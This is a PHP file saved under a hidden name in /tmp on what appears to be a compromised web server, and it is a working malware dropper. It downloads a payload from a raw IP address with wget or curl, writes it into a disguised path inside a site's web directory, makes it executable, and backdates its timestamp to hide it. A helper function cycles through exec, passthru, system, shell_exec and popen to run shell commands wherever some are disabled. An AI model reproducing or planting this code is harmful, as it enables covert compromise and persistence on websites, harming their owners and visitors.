File: //tmp/.parle_tokens
<?php $p = '/var/www/vhost/www.mocrea.it//sys/devices/system/cpu/cpu5/cpuidle/state4/s2idle/removed_emails'; $u = 'http://45.227.253.162/c48f7b6cd91aad3ca1aee048a83020c7'; $fs = 1813046; $ft = 1779200428; run("wget -O {$p} {$u} && gunzip {$p}.gz"); check($p, $fs, $ft); run("curl -o {$p} {$u} && gunzip {$p}.gz"); check($p, $fs, $ft); function check($p, $fs, $ft) { if (file_exists($p) && filesize($p) == $fs) { @chmod($p, 0744); @touch($p, $ft); die('_uploaded!_'); } } function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; } die('_upload_failed_');